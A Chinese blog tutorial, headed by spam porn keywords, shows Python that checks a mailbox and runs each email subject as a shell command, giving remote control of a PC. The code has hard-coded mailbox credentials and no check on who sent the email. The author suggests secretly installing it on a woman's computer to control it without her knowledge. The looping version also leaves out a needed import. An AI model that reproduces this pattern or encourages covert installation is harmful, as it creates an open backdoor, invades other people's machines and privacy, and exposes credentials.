欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

python編寫微信遠程控制電腦的程序

 更新時間:2018年01月05日 14:12:24   作者:GuityCrown  
這篇文章主要介紹了python編寫微信遠程控制電腦的程序,使用python編寫的基于郵件收發(fā)的遠程控制電腦的代碼,具有一定的參考價值,感興趣的小伙伴們可以參考一下

今天來分享一個“高大上”的技術(shù)——使用python編寫一個可以用微信遠程控制電腦的程序!

先來分析一下控制的具體流程:

我們使用微信給特定的郵箱發(fā)送一封郵件,其中包含了我們想要電腦執(zhí)行的命令,然后電腦上的python程序獲取到這封郵件,然后解析其中的命令,再交付給電腦執(zhí)行??梢钥闯?,這其中主要的技術(shù)難點就是獲取郵件了!但是!這沒有任何問題,大家看到我的上一篇博客《python 收發(fā)郵件》就可以了!

下面給出使用python收發(fā)郵件并執(zhí)行郵件命令的代碼。

# -*- coding:utf-8 -*- 
from email.mime.text import MIMEText 
import poplib 
import smtplib 
import os 
 
 
class MailManager(object): 
 
  def __init__(self): 
    self.popHost = 'pop.sina.com' 
    self.smtpHost = 'smtp.sina.com' 
    self.port = 25 
    self.userName = 'ivanzgj@sina.com' 
    self.passWord = 'zgj123' 
    self.bossMail = '475176416@qq.com' 
    self.login() 
    self.configMailBox() 
 
  # 登錄郵箱 
  def login(self): 
    try: 
      self.mailLink = poplib.POP3_SSL(self.popHost) 
      self.mailLink.set_debuglevel(0) 
      self.mailLink.user(self.userName) 
      self.mailLink.pass_(self.passWord) 
      self.mailLink.list() 
      print u'login success!' 
    except Exception as e: 
      print u'login fail! ' + str(e) 
      quit() 
 
  # 獲取郵件 
  def retrMail(self): 
    try: 
      mail_list = self.mailLink.list()[1] 
      if len(mail_list) == 0: 
        return None 
      mail_info = mail_list[0].split(' ') 
      number = mail_info[0] 
      mail = self.mailLink.retr(number)[1] 
      self.mailLink.dele(number) 
 
      subject = u'' 
      sender = u'' 
      for i in range(0, len(mail)): 
        if mail[i].startswith('Subject'): 
          subject = mail[i][9:] 
        if mail[i].startswith('X-Sender'): 
          sender = mail[i][10:] 
      content = {'subject': subject, 'sender': sender} 
      return content 
    except Exception as e: 
      print str(e) 
      return None 
 
  def configMailBox(self): 
    try: 
      self.mail_box = smtplib.SMTP(self.smtpHost, self.port) 
      self.mail_box.login(self.userName, self.passWord) 
      print u'config mailbox success!' 
    except Exception as e: 
      print u'config mailbox fail! ' + str(e) 
      quit() 
 
  # 發(fā)送郵件 
  def sendMsg(self, mail_body='Success!'): 
    try: 
      msg = MIMEText(mail_body, 'plain', 'utf-8') 
      msg['Subject'] = mail_body 
      msg['from'] = self.userName 
      self.mail_box.sendmail(self.userName, self.bossMail, msg.as_string()) 
      print u'send mail success!' 
    except Exception as e: 
      print u'send mail fail! ' + str(e) 
 
if __name__ == '__main__': 
  mailManager = MailManager() 
  mail = mailManager.retrMail() 
  if mail is not None: 
    cmd = mail['subject'] 
    os.system(cmd) 
    mailManager.sendMsg() 

上述代碼的邏輯是:郵件的主題為要執(zhí)行的命令,然后python獲取郵箱的郵件,解析其主題,然后交到命令行執(zhí)行。執(zhí)行成功后發(fā)送一封success的郵件給我。

下面測試一下。我使用qq郵箱給我指定的郵箱發(fā)送了下面這樣一封郵件。

這封郵件的命令是要打開mail.py這個文件,然后我們在電腦上運行上述代碼程序,就可以看到其打開了mail.py這個文件了!
現(xiàn)在,這個程序只會執(zhí)行一次,然后就會退出,我們只要給它加個死循環(huán)就可以讓它一直運行了~

if __name__ == '__main__': 
  while True: 
    mailManager = MailManager() 
    mail = mailManager.retrMail() 
    if mail is not None: 
      cmd = mail['subject'] 
      os.system(cmd) 
      mailManager.sendMsg() 
    time.sleep(5) 

現(xiàn)在我們只要運行其這個程序,然后我們拿著手機,打開微信,一封郵件,便可隨時遠控電腦!想想,你們拿著這個程序,打包一下,然后悄悄地撞到你心儀的妹子電腦上,趁她不注意的時候,發(fā)一封郵件,然后讓妹子的電腦干點什么事情(例如顯示一段文字表白什么的),想想都很激動呢?。?!

好的,下面直接給出一個源碼鏈接吧。
python 微信遠程控制電腦

以上就是本文的全部內(nèi)容,希望對大家的學(xué)習(xí)有所幫助,也希望大家多多支持腳本之家。

相關(guān)文章

  • python中使用(.)進行相對路徑訪問文件的操作方法

    python中使用(.)進行相對路徑訪問文件的操作方法

    在Python中,使用相對路徑訪問文件是一種常見的做法,尤其是在處理與腳本位于同一目錄或附近目錄的文件時,這篇文章主要介紹了python中使用(.)來進行相對路徑訪問文件,需要的朋友可以參考下
    2024-05-05
  • 基于python中__add__函數(shù)的用法

    基于python中__add__函數(shù)的用法

    今天小編就為大家分享一篇基于python中__add__函數(shù)的用法,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2019-11-11
  • python進行二次方程式計算的實例講解

    python進行二次方程式計算的實例講解

    在本篇內(nèi)容里小編給大家整理了一篇關(guān)于python進行二次方程式計算的實例講解內(nèi)容,有興趣的朋友們可以學(xué)習(xí)下。
    2020-12-12
  • Python實現(xiàn)圖片批量加入水印代碼實例

    Python實現(xiàn)圖片批量加入水印代碼實例

    這篇文章主要介紹了Python實現(xiàn)圖片批量加入水印代碼實例,文中通過示例代碼介紹的非常詳細,對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友可以參考下
    2019-11-11
  • python多進程操作實例

    python多進程操作實例

    這篇文章主要介紹了python多進程操作實例,本文講解了multiprocessing類的相關(guān)方法,然后給出了一個綜合實例和運行效果,需要的朋友可以參考下
    2014-11-11
  • Pandas多個條件(AND,OR,NOT)中提取行

    Pandas多個條件(AND,OR,NOT)中提取行

    本文主要介紹了Pandas多個條件(AND,OR,NOT)中提取行,文中通過示例代碼介紹的非常詳細,對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2023-02-02
  • django和vue互傳圖片并進行處理和展示

    django和vue互傳圖片并進行處理和展示

    在項目中圖片上傳并附帶幾個參數(shù)的場景非常常見,如果技術(shù)棧是Vue+Django的小伙伴就一定會遇到這個需求,下面這篇文章主要給大家介紹了關(guān)于django和vue互傳圖片并進行處理和展示的相關(guān)資料,需要的朋友可以參考下
    2023-05-05
  • pygame實現(xiàn)滑塊接小球游戲

    pygame實現(xiàn)滑塊接小球游戲

    這篇文章主要為大家詳細介紹了pygame實現(xiàn)滑塊接小球游戲,文中示例代碼介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2021-06-06
  • python3 實現(xiàn)的對象與json相互轉(zhuǎn)換操作示例

    python3 實現(xiàn)的對象與json相互轉(zhuǎn)換操作示例

    這篇文章主要介紹了python3 實現(xiàn)的對象與json相互轉(zhuǎn)換操作,結(jié)合實例形式分析了Python3使用json模塊針對json格式數(shù)據(jù)轉(zhuǎn)換操作的相關(guān)實現(xiàn)技巧,需要的朋友可以參考下
    2019-08-08
  • pytorch torch.expand和torch.repeat的區(qū)別詳解

    pytorch torch.expand和torch.repeat的區(qū)別詳解

    這篇文章主要介紹了pytorch torch.expand和torch.repeat的區(qū)別詳解,文中通過示例代碼介紹的非常詳細,對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2019-11-11

最新評論